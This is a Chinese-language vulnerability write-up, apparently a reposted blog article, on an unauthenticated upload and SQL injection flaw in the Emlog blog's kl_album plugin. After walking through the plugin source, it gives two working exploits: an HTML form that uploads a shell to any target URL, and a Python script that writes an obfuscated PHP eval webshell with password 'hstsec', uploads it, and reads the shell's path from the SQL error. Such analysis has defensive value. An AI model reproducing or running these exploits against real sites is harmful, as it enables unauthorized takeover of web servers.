Emlog漏洞————Emlog相簿外掛前臺SQL隱碼攻擊+Getshell
Emlog簡介
Emlog是“Every Memory Log”的簡介,意即:點滴記憶。它是一款基於PHP語言哈MYSQL資料庫的開源、免費、功能強大的個人或多人聯合撰寫的部落格系統(Blog)。基於PHP和MYSQL的功能強大的部落格以及CMS建站系統。致力於提供快速、穩定,且在使用上又及其簡單、舒適的部落格服務。安裝和使用都非常方便。目前Emlog正在受到越來越多的廣大使用者的青睞。
此次引起漏洞的是Emlog的相簿外掛。
漏洞分析
首先安裝Emlog的相簿的外掛
安裝之後可以在目錄:emlog\src\content\plugins\kl_album下找到所有的安裝檔案:
之後我們分析Kl-album_ajax_do.php檔案
<?php
/**
* kl_album_ajax_do.php
* design by KLLER
*/
require_once('../../../init.php');
$DB = MySql::getInstance();
$kl_album_config = unserialize(Option::get('kl_album_config'));
if(isset($_POST['album']) && isset($_FILES['Filedata'])){
if(function_exists('ini_get')){
$kl_album_memory_limit = ini_get('memory_limit');
$kl_album_memory_limit = substr($kl_album_memory_limit, 0, strlen($kl_album_memory_limit)-1);
$kl_album_memory_limit = ($kl_album_memory_limit+20).'M';
ini_set('memory_limit', $kl_album_memory_limit);
}
define('KL_UPLOADFILE_MAXSIZE', kl_album_get_upload_max_filesize());
define('KL_UPLOADFILE_PATH', '../../../content/plugins/kl_album/upload/');
define('KL_IMG_ATT_MAX_W', 100);//圖片附件縮圖最大寬
define('KL_IMG_ATT_MAX_H', 100);//圖片附件縮圖最大高
$att_type = array('jpg', 'jpeg', 'png', 'gif');//允許上傳的檔案型別
$album = isset($_POST['album']) ? intval($_POST['album']) : '';
if($_FILES['Filedata']['error'] != 4){
$upfname = kl_album_upload_file($_FILES['Filedata']['name'], $_FILES['Filedata']['error'], $_FILES['Filedata']['tmp_name'], $_FILES['Filedata']['size'], $_FILES['Filedata']['type'], $att_type);
$photo_size = chImageSize(EMLOG_ROOT.substr($upfname, 2), KL_IMG_ATT_MAX_W, KL_IMG_ATT_MAX_H);
$result = $DB->query("INSERT INTO ".DB_PREFIX."kl_album(truename, filename, description, album, addtime, w, h) VALUES('{$_FILES['Filedata']['name']}', '{$upfname}', '".date('Y-m-d', time())."', {$album}, ".time().", {$photo_size['w']}, {$photo_size['h']})");
if($result){
$new_id = $DB->insert_id();
$the_option_value = Option::get('kl_album_'.$album);
if($the_option_value !== null){
$the_option_value = trim($new_id.','.$the_option_value, ',');
Option::updateOption('kl_album_'.$album, $the_option_value);
$CACHE->updateCache('options');
}
}
}
exit;
}
if(ROLE != 'admin') exit('access deined!');
if(isset($_GET['action']) && $_GET['action']!='')
根據上面的程式碼,我們可以看到驗證身份的程式碼在上傳檔案的後面,所以任意使用者可以實現檔案上傳,那麼之後我們再看看上傳部分看看到底是如何進行驗證或者對檔案進行過濾的,這裡面定義了一個$att_type = array('jpg', 'jpeg', 'png', 'gif');,並且將$att_type 這個變數和$_FILE一起傳入了kl_album_upload_file函式
unction kl_album_upload_file($filename, $errorNum, $tmpfile, $filesize, $filetype, $type, $isIcon = 0){
$kl_album_config = unserialize(Option::get('kl_album_config'));
$extension = strtolower(substr(strrchr($filename, "."),1));
$uppath = KL_UPLOADFILE_PATH . date("Ym") . "/";
$fname = md5($filename) . date("YmdHis") . rand() .'.'. $extension;
$attachpath = $uppath . $fname;
if(!is_dir(KL_UPLOADFILE_PATH)){
umask(0);
$ret = @mkdir(KL_UPLOADFILE_PATH, 0777);
if($ret === false) return '建立檔案上傳目錄失敗';
}
if(!is_dir($uppath)){
umask(0);
$ret = @mkdir($uppath, 0777);
if($ret === false) return "上傳失敗。檔案上傳目錄(content/plugins/kl_album/upload)不可寫";
}
doAction('kl_album_upload', $tmpfile);
//縮略
$imtype = array('jpg','png','jpeg','gif');
$thum = $uppath."thum-". $fname;
$attach = in_array($extension, $imtype) && function_exists("ImageCreate") && kl_album_resize_image($tmpfile,$filetype,$thum,$isIcon,KL_IMG_ATT_MAX_W,KL_IMG_ATT_MAX_H) ? $thum : $attachpath;
$kl_album_compression_length = isset($kl_album_config['compression_length']) ? intval($kl_album_config['compression_length']) : 1024;
$kl_album_compression_width = isset($kl_album_config['compression_width']) ? intval($kl_album_config['compression_width']) : 768;
if($kl_album_compression_length == 0 || $kl_album_compression_width == 0){
if(@is_uploaded_file($tmpfile)){
if(@!move_uploaded_file($tmpfile ,$attachpath)){
@unlink($tmpfile);
return "上傳失敗。檔案上傳目錄(content/plugins/kl_album/upload)不可寫";
}else{
echo 'kl_album_successed';
}
chmod($attachpath, 0777);
}
}else{
if(in_array($extension, $imtype) && function_exists("ImageCreate") && kl_album_resize_image($tmpfile,$filetype,$attachpath,$isIcon,$kl_album_compression_length,$kl_album_compression_width)){
echo 'kl_album_successed';
}else{
if(@is_uploaded_file($tmpfile)){
if(@!move_uploaded_file($tmpfile ,$attachpath)){
@unlink($tmpfile);
return "上傳失敗。檔案上傳目錄(content/plugins/kl_album/upload)不可寫";
}else{
echo 'kl_album_successed';
}
chmod($attachpath, 0777);
}
}
}
$attach = substr($attach, 6, strlen($attach));
return $attach;
}
從上面的程式碼中我們發現,對於之前傳入的$_type這個變數在這個函式里根本就沒有起到任何左右,函式中定義的$imtype = array('jpg','png','jpeg','gif');,也不是用來驗證字尾的,而是判斷是否需要生成縮圖的,所以重點就是下面的內容了:
$extension = strtolower(substr(strrchr($filename, "."),1));
$uppath = KL_UPLOADFILE_PATH . date("Ym") . "/";
$fname = md5($filename) . date("YmdHis") . rand() .'.'. $extension;
$attachpath = $uppath . $fname;
...
...
...
if(@!move_uploaded_file($tmpfile ,$attachpath)){
這裡我們可以發現上傳的檔名是:
$fname = md5($filename) . date("YmdHis") . rand() .'.'. $extension;
這裡的意思是將原來的檔名的md5值+當前時間+rand隨機數+字尾,md5值和時間基本上比較好確定,但是這個rand()隨機數一般都是0-65535之間,非常麻煩。
同時我們可以看到下面的程式碼,並沒有把問卷名輸出的地方,只是echo 'kl_album_successed';。難道,我們需要暴力破解shell名字?
我們返回kl_album_ajax_do.php,可以發現上傳的if語句中有如下程式碼:
$result = $DB->query("INSERT INTO ".DB_PREFIX."kl_album(truename, filename, description, album, addtime, w, h) VALUES('{$_FILES['Filedata']['name']}', '{$upfname}', '".date('Y-m-d', time())."', {$album}, ".time().", {$photo_size['w']}, {$photo_size['h']})");
這裡將$_FILES['Filedata']['name']直接插入資料庫。這裡另造成了一個SQL隱碼攻擊漏洞,當然既然有之前的getshell,這裡的注入就有點當陪襯了。不過emlog在遇到SQL語句出錯的情況下是會報錯的。
所以所以,這裡我們正好用到這個特性,通過報錯可以將$upfname這個欄位爆出來,這也就是我們上傳成功的shell名字。
如何報錯?上傳檔名里加個單引號即可。
所以,我來一份利用程式碼:
<form id="exp" method="post" enctype="multipart/form-data">
<p>target url > <input id="url" type="text" style="width: 300px"></p>
<p>shell file > <input type="file" name="Filedata"></p>
<input name="album" type="hidden" value="111111" >
<p><input type="submit" value="GO!" onclick="exp.action=url.value+'/content/plugins/kl_album/kl_album_ajax_do.php';"></p>
</form>
儲存為html,本地開啟:
填入目標url,並選擇要上傳的shell。(如圖,我這裡是info'.php,會令SQL出錯)。點選GO!
之後可以發現出錯了,可以發現檔名已經爆出來了:../content/plugins/kl_album/upload/201411/38493d4468377f721357e9c64f93637d2014111211381611097.php
訪問可見shell:
這裡給出獨自等待的一份payload:
#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2015/4/30
# Created by 獨自等待
# 部落格 http://www.waitalone.cn/
import sys, os, re, time
try:
import requests
except ImportError:
raise SystemExit('\n[!] requests模組匯入錯誤,請執行pip install requests安裝!')
def usage():
# os.system(['clear', 'cls'][os.name == 'nt'])
print '+' + '-' * 60 + '+'
print '\t Python emlog相簿外掛getshell exploit'
print '\t Blog:http://www.waitalone.cn/'
print '\t\t Code BY: 獨自等待'
print '\t\t Time:2015-04-30'
print '+' + '-' * 60 + '+'
if len(sys.argv) != 2:
print '用法: ' + os.path.basename(sys.argv[0]) + ' EMLOG 網站地址'
print '例項: ' + os.path.basename(sys.argv[0]) + ' http://www.waitalone.cn/'
sys.exit()
def getshell(url):
'''
emlog相簿外掛上傳getshell函式
:param url: emlog url地址
:return: 返回得到的shell地址
'''
up_url = url + 'content/plugins/kl_album/kl_album_ajax_do.php'
shell = "<?php @preg_replace('\\'a\\'eis','e'.'v'.'a'.'l'.'($_POST[\"hstsec\"])','a');?>"
filename = "oneok'.php"
with open(filename, 'wb') as shellok:
shellok.write(shell)
files = {
'Filedata': (filename, open(filename, 'rb'), 'text/json'),
'album': (None, 'waitalone.cn')
}
try:
up_res = requests.post(up_url, files=files).content
shellok = re.findall(re.compile(r'(?<=\.\./).+?(?=\',)'), up_res)
except Exception, msg:
print '\n[x] 發生錯誤了,臥槽!!!:', msg
else:
if shellok: return url + shellok[0]
if __name__ == '__main__':
usage()
start = time.time()
url = sys.argv[1]
if url[-1] != '/': url += '/'
ok = getshell(url)
try:
os.remove('oneok\'.php')
except Exception:
print '\n[x] 刪除臨時檔案失敗,請手工刪除!'
if ok:
print '\n[!] 爺,人品暴發了,成功得到Shell:\n\n%s 密碼:%s' % (ok, 'hstsec')
else:
print '\n[x] 報告大爺,本站不存在此漏洞!'
print '\n報告爺,指令碼執行完畢,用時:', time.time() - start, '秒!'
參考:獨自等待
相關文章
- Emlog漏洞——————Emlog友情連結自助外掛存在SQL隱碼攻擊漏洞SQL
- Emlog漏洞————Emlog資料庫備份與匯入功能導致後臺getshell資料庫
- Emlog漏洞————Emlog部落格系統後臺無視驗證碼暴力破解實現登入
- Nacos Derby SQL隱碼攻擊漏洞SQL
- Rails 3爆SQL隱碼攻擊漏洞AISQL
- Mura CMS processAsyncObject SQL隱碼攻擊漏洞ObjectSQL
- 【網路安全】什麼是SQL隱碼攻擊漏洞?SQL隱碼攻擊的特點!SQL
- PHP常見漏洞(1)–SQL隱碼攻擊PHPSQL
- SQL隱碼攻擊SQL
- 如何做好防護SQL隱碼攻擊漏洞SQL
- 安全漏洞問題6:SQL隱碼攻擊SQL
- WordPress SQL隱碼攻擊漏洞與提權分析SQL
- 修復SQL隱碼攻擊漏洞 兩種方法SQL
- SQL隱碼攻擊漏洞測試工具比較SQL
- WordPress統計分析外掛WPStatistics出現SQL隱碼攻擊漏洞攻擊者可竊取使用者資料SQL
- 【SQL Server】--SQL隱碼攻擊SQLServer
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-SQL隱碼攻擊技術-語句注入SQL
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-SQL隱碼攻擊技術-語句修改SQL
- MYSQL SQL隱碼攻擊MySql
- 【SQL隱碼攻擊原理】SQL
- 防止SQL隱碼攻擊SQL
- SQL隱碼攻擊(一)SQL
- SQL隱碼攻擊(pikachu)SQL
- SQL隱碼攻擊方法SQL
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊SQL
- Joomla CMS 3.2-3.4.4 SQL隱碼攻擊 漏洞分析OOMSQL
- (轉)Discuz!X2.0SQL隱碼攻擊漏洞EXPSQL
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-防衛SQL隱碼攻擊-驗證檢查SQL
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-防衛SQL隱碼攻擊-繫結變數SQL變數
- SQL隱碼攻擊原理是什麼?如何防範SQL隱碼攻擊?SQL
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-防衛SQL隱碼攻擊-顯式格式化模型SQL模型
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-SQL隱碼攻擊技術-資料型別轉換SQL資料型別
- SQL隱碼攻擊式攻擊掃描器SQL
- SQL隱碼攻擊語句SQL
- pikachu-SQL隱碼攻擊SQL
- SQL隱碼攻擊導圖SQL
- SQL隱碼攻擊問題SQL
- SQL隱碼攻擊的例子SQL